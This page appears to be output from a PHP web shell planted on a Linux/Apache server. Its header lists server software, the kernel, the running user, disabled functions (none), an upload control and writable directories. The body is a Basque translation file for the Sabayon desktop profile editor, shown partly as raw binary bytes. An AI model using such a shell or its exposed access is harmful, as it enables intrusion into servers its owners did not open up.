KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /usr/share/locale/eu/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/locale/eu/LC_MESSAGES/sabayon.mo
2Iaw		
)
4BbN#+!O"q !XRB$((F]i-u
(6Oi}1P%e1.;%X!~*8&+=Oau{" "#!C!e
IG0xI+u|$
	
#",%Ou$$$ #@W\ |$ 

  
) 4 C T l 0     ,!!&!!
""#"3"<"Q"V"9v"""""#1#F#L#b#z#P#L#1$	8$B$K$R$Z$c$i$u${$	$$
$$$$$$/$%%!%2%/7%g%z%%%%%%d'l''''
''(*(I(d(~((
(((n($A)'f)')#)$)')''*#O*s*0*m*|$++)+,+,,1,P,n,,F,, ,-$-7-S-i- |-----.1.M.V.u.../..*.)/;D/'/B/-/,02F0+y020H0*!1L1f11111)1111&2.X202/2.2-3 E3f3o3344:5B5#6D6
7$7):7d7m777777
7-8/18)a8180828*!9+L9"x99-9+9*9)&:P:W:m:::
:::#::;;Q;p;;;,@<
m<@{<<<<=
='=A=#F=@j===*=	>&(>O>l>!s>>#>a>^:??
?
??????	??	@@
@)@0@7@G@	X@1b@	@@%@@2@A#A#+AOAVA2\AYk]p\N)rW{B
!OKZb#D5.@H*>Q=%P|[si;A6m4fe:0j1,Lw^-<X2g~C'oxqTI	R9 thzlUy+J`n8(Vc/uME
d$_"&a}vGF37?S%s (%s)%s added to bottom panel%s added to left panel%s added to right panel%s added to top panel%s launcher%s removed from bottom panel%s removed from left panel%s removed from right panel%s removed from top panel<b>Disabled Applets</b><b>Safe Protocols</b><no type><no value>About SabayonAdd ProfileAdministrator level permissions are needed to run this program because it can modify system files.Applet %s added to bottom panelApplet %s added to left panelApplet %s added to right panelApplet %s added to top panelApplet %s removed from bottom panelApplet %s removed from left panelApplet %s removed from right panelApplet %s removed from top panelApplications menuCannot add non-existent file '%s'Cannot find home directory: not set in /etc/passwd and no value for $HOME in environmentCannot find username: not set in /etc/passwd and no value for $USER in environmentChanges in profile %sClick to make this setting mandatoryClick to make this setting not mandatoryClose _Without SavingClose the current windowCould not open %s for writingDefault GConf settingsDelete itemDescriptionDesktop User Profiles tool is already runningDisable _arbitrary URLDisable _bookmark editingDisable _command lineDisable _historyDisable _javascript chromeDisable _printingDisable _quitDisable _toolbar editingDisable _unsafe protocolsDisable force _quitDisable lock _screenDisable log _outDisable print _setupDisable save to _diskDrawerEdit Lockdown settingsEdit changesEditing profile %sEnforce MandatoryEnforce mandatory settings in the editing sessionEpiphany Web BrowserEstablish and Edit Profiles for UsersExpected event: %s %sFailed to add default profile %s to configurationFailed to add monitor for %sFailed to add user %s to profile configurationFailed to get the user listFailed to read file '%s': %sFailed to read metadata from '%s': %sFailed to save UserDatabase to %sFailed to start Xnest: died during startupFailed to start Xnest: timed out waiting for USR1 signalFile %s is not a profile configurationFile '%s' changedFile '%s' createdFile '%s' deletedFile Not Found (%s)FilesGConfGConf key '%s' set to '%s'GConf key '%s' set to boolean '%s'GConf key '%s' set to float '%s'GConf key '%s' set to integer '%s'GConf key '%s' set to list '%s'GConf key '%s' set to pair '%s'GConf key '%s' set to schema '%s'GConf key '%s' set to string '%s'GConf key '%s' unsetGeneralHide _menubarIf you don't save, changes from the last %d hour will be permanently lost.If you don't save, changes from the last %d hours will be permanently lost.If you don't save, changes from the last %ld minute will be permanently lost.If you don't save, changes from the last %ld minutes will be permanently lost.If you don't save, changes from the last %ld second will be permanently lost.If you don't save, changes from the last %ld seconds will be permanently lost.If you don't save, changes from the last hour and %d minute will be permanently lost.If you don't save, changes from the last hour and %d minutes will be permanently lost.If you don't save, changes from the last hour will be permanently lost.If you don't save, changes from the last minute and %ld second will be permanently lost.If you don't save, changes from the last minute and %ld seconds will be permanently lost.If you don't save, changes from the last minute will be permanently lost.IgnoreIgnore WARNINGsInvalid metadata section in '%s': %sLockLock Screen buttonLockdown EditorLockdown settings for %sLogout buttonMain MenuMandatory GConf settingsMenu BarMozilla bookmark changed '%s' '%s'Mozilla bookmark created '%s' -> '%s'Mozilla bookmark deleted '%s'Mozilla bookmark folder changed '%s'Mozilla bookmark folder created '%s'Mozilla bookmark folder deleted '%s'Mozilla key '%s' changed to '%s'Mozilla key '%s' set to '%s'Mozilla key '%s' unsetNameNo profile for user '%s' found
No query filter specified for %sNo result attribute specified for %sNo search based specified for %sPanelPanel '%s' addedPanel '%s' removedPanel FilePreferences menuProfile %sProfile _name:Profile file: %sProfile is read-only %sProfile settings: %sProgram to establish and edit profiles for usersRun Appliction buttonRunning %s testsRunning %s tests (%s)Sabayon requires a special user account '%s' to be present on this computer. Try again after creating the account (using, for example, the 'adduser' command)Save changes to profile "%s" before closing?Save profileScope must be one of sub, base and oneScreenshot buttonSearch buttonServer Settings menuStart Here menuSuccess!System Settings menuTypeUnable to find a free X displayUsage: %s <profile-name> <profile-path> <display-number>
Usage: %s [<profile-name>]
Use This ProfileUse this profile for _all usersUser Profile EditorUser account '%s' was not foundUsers for profile %sValueWeb browser bookmarksWeb browser preferencesWeb browser profile listYou may not use Desktop User Profiles tool from within a profile editing sessionYour account does not have permissions to run the Desktop User Profiles tool_About_Base on:_Changes_Close_Delete_Details_Edit_Fullscreen_Help_Lock down the panels_Lockdown_Profile_Profiles:_Quit_Save_Users_Users:booleanduplicate name(%(name)s) in section %(section)sfloatintegerinvalid type for setting %s in %slistmultiple_result must be one of first and randomno default profilepairredundant default in section %sschemastringtranslator-creditsProject-Id-Version: sabayon.gnome-2-18
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2007-03-30 17:41+0200
PO-Revision-Date: 2007-03-29 13:32+0200
Last-Translator: Iñaki Larrañaga Murgoitio <dooteo@euskalgnu.org>
Language-Team: Basque <itzulpena@euskalgnu.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Generator: KBabel 1.11.4
Plural-Forms: nplurals=2; plural=(n != 1);
%s (%s)%s beheko panelera gehituta%s ezkerreko panelera gehituta%s eskuineko panelera gehituta%s goiko panelera gehituta%s abiarazlea%s beheko paneletik kenduta%s ezkerreko paneletik kenduta%s eskuineko paneletik kenduta%s goiko paneletik kenduta<b>Desgaitu applet-ak</b><b>Protokolo seguruak</b><motarik ez><baliorik ez>Sabayon-i buruzGehitu profilaAdministratzaile mailako baimenak behar dira programa hau exekutatzeko, sistemako fitxategiak alda baititzake.%s applet-a beheko panelean gehituta%s applet-a ezkerreko panelean gehituta%s applet-a eskuineko panelean gehituta%s applet-a goiko panelean gehituta%s applet-a beheko paneletik kenduta%s applet-a ezkerreko paneletik kenduta%s applet-a eskuineko paneletik kenduta%s applet-a goiko paneletik kendutaAplikazioen menuaEzin da existitzen ez den '%s' fitxategia gehituEzin izan da etxeko direktorioa aurkitu: ez dago /etc/passwd-en ezarrita, ezta ere inguruneko $HOME aldagaianEzin da erabiltzaile-izena aurkitu: ez dago /etc/passwd fitxategian ezarrita eta ez dago baliorik inguruneko $USER aldagaianAldaketak %s profilanEgin klik ezarpen hau beharrezkoa izatekoEgin klik ezarpen hau beharrezkoa ez izatekoItxi gorde g_abeItxi uneko leihoaEzin izan da %s idazteko irekiGConf-eko ezarpen lehenetsiakEzabatu elementuaAzalpena'Mahaigaineko erabiltzaileen profilak' tresna jadanik exekutatzen dagoDesgaitu URL _arbitrarioaDesgaitu _lastermarkak editatzeaDesgaitu _komando-lerroaDesgaitu _historiaDesgaitu _javascript chromeDesgaitu _inprimatzeaDesgaitu _irtetzeaDEsgaitu _tresna-barra editatzeaDesgaitu protokolo _ez seguruakDesgaitu derrigorrez _irtetzeaDesgaitu p_antaila blokeatzeaDesgaitu _saioa amaitzeaDesgaitu inprimatze-ezarpenakDesgaitu _diskoan gordetzeaTiraderaEditatu blokeatutako ezarpenakEditatu aldaketak%s profila editatzenDerrigortu beharrezkoakDerrigortu beharrezko ezarpenak edizioko saioanEpiphany web arakatzaileaEzarri eta editatu erabiltzaileen profilakEsperotako gertaera: %s %sHuts egin du %s profil lehenetsia konfigurazioari gehitzeanHuts egin du %s(e)n monitorea gehitzeanHuts eign du %s erabiltzailea profilaren konfigurazioari gehitzeanHuts egin du erabiltzaileen zerrenda lortzeanHuts egin du '%s' fitxategia irakurtzean: %sHuts egin du '%s'(e)ko meta-datuak irakurtzean: %sHuts eign du UserDatabase %s(e)n gordetzeanHuts egin du Xnest abiaraztean: abioan hil egin daHuts egin du Xnest abiaraztean: denbora gainditu du USR1 seinalearen zai%s fitxategia ez da profil-konfiguraziokoa'%s' fitxategia aldatu da'%s' fitxategia sortu da'%s' fitxategia ezabatu daEz da fitxategia aurkitu (%s)FitxategiakGConfGConf-eko '%s' gakoa '%s'(r)ekin ezarritaGConf-eko '%s' gakoa '%s' boolearrarekin ezarritaGConf-eko '%s' gakoa '%s' mugikorrarekin ezarritaGConf-eko '%s' gakoa '%s' osokoarekin ezarritaGConf-eko '%s' gakoa '%s' zerrendarekin ezarritaGConf-eko '%s' gakoa '%s' bikotearekin ezarritaGConf-eko '%s' gakoa '%s' eskemarekin ezarritaGConf-eko '%s' gakoa '%s' katearekin ezarritaGConf-eko '%s' gakoa ezarri gabeOrokorraEzkutatu _menu-barraEz baduzu gordetzen, azken ordu %d-eko aldaketak betirako galduko dira.Ez baduzu gordetzen, azken %d orduko aldaketak betirako galduko dira.Ez baduzu gordetzen, azken %ld minutuko aldaketak betirako galduko dira.Ez baduzu gordetzen, azken %ld minutuko aldaketak betirako galduko dira.Ez baduzu gordetzen, azken segundo %ld-eko aldaketak betirako galduko dira.Ez baduzu gordetzen, azken %ld segundoko aldaketak betirako galduko dira.Ez baduzu gordetzen, azken orduko eta %d minutuko aldaketak betirako galduko dira.Ez baduzu gordetzen, azken orduko eta %d minutuko aldaketak betirako galduko dira.Ez baduzu gordetzen, azken orduko aldaketak betirako galduko dira.Ez baduzu gordetzen, azken minutuko eta %ld segundoko aldaketak betirako galduko dira.Ez baduzu gordetzen, azken minutuko eta %ld segundoko aldaketak betirako galduko dira.Ez baduzu gordetzen, azken minutuko aldaketak betirako galduko dira.Ez ikusi eginEz ikusi egin ABISUei'%s'(e)n metadatuen baliogabeko atala: %sBlokeatuPantaila blokeatzeko botoiaBlokeatu editoreaBlokeatu %s(r)en ezarpenakSaio-amaierako botoiaMenu nagusiaBeharrezko GConf-eko ezarpenakMenu-barraMozilla-ren '%s' laster-marka aldatu da: '%s'Mozilla-ren laster-marka sortu da: '%s' -> '%s'Mozilla-ren laster-marka ezabatu da: '%s'Mozilla-ren laster-marken karpeta aldatu da: '%s'Mozilla-ren laster-marken karpeta sortu da: '%s'Mozilla-ren laster-marken karpeta ezabatu da: '%s'Mozilla-ren '%s' gakoa '%s'(r)ekin aldatuaMozilla-ren '%s' gakoa '%s'(r)ekin ezarritaMozilla-ren '%s' gakoa ezarri gabeIzenaEz da '%s' erabiltzailearen profilik aurkitu
Ez da %s(r)en kontsulta-iragazkirik zehaztuEz da '%s'(r)en emaitz-atributurik zehaztuEz da %s(r)en bilaketa-oinarririk zehaztuPanela'%s' panela gehitu da'%s' panela kendu daPanelaren fitxategiaHobespenen menua%s profilaProfil-i_zena:Profil-fitxategia: %s'%s' profilea irakurtzeko soilik daProfilaren ezarpenak: %sErabiltzaileen profilak ezartzeko eta editatzeko aplikazioaAplikazioa exekutatzeko botoia%s probak exekutatzen%s probak exekutatzen (%s)Sabayon tresnak '%s' erabiltzaile-kontu berezia ordenagailuan egotea eskatzen du. Saiatu berriro kontua sortu ondoren (erabili 'adduser' bezalako komando bat)Gorde aldaketak "%s" profilan itxi aurretik?Gorde profilaEsparruak hauetariko bat izan behar du: 'sub', 'base' edo 'one' Pantaila kapturaren botoiaBilaketa-botoiaZerbitzariaren ezarpenen menua'Hasi hemen' menuaOndo egin da!Sistemako ezarpenen menuaMotaEzin da X pantaila librerik aurkituErabilera: %s <profil-izena> <profil-bidea> <pantaila-zenbakia>
Erabilera: %s [<profil-izena>]
Erabili profil hauErabili profil hau erabiltzaile g_uztietanErabiltzaile-profilen editorea'%s' erabiltzaile-kontua ez da aurkitu%s profilaren erabiltzaileakBalioaWeb arakatzailearen laster-markakWeb arakatzailearen hobespenakWeb arakatzailearen profil-zerrendaProfilak editatzeko saiotik ez zenuke erabili behar 'Mahaigaineko erabiltzaileen profilak' tresnaZure kontuak ez ditu nahikoa baimen 'Mahaigaineko erabiltzaileen profilak' tresna exekutatzekoHoni _buruz_Oinarria:_AldaketakIt_xiE_zabatu_Xehetasunak_Editatu_Pantaila osoa_Laguntza_Blokeatu panelak_Blokeatu_Profila_Profilak:I_rten_Gorde_Erabiltzaileak_Erabiltzaileak:boolearrabikoiztutako izena (%(name)s) %(section)s ataleanmugikorraosokoa%s ezarpenaren mota baliogabea %s(e)nzerrendamultiple_result bakarra eta ausazkoa izan behar duez dago profil lehenetsirikbikotealehenespen erredundantea %s ataleaneskemakateaIñaki Larrañaga Murgoitio <dooteo@euskalgnu.org>

Anon7 - 2021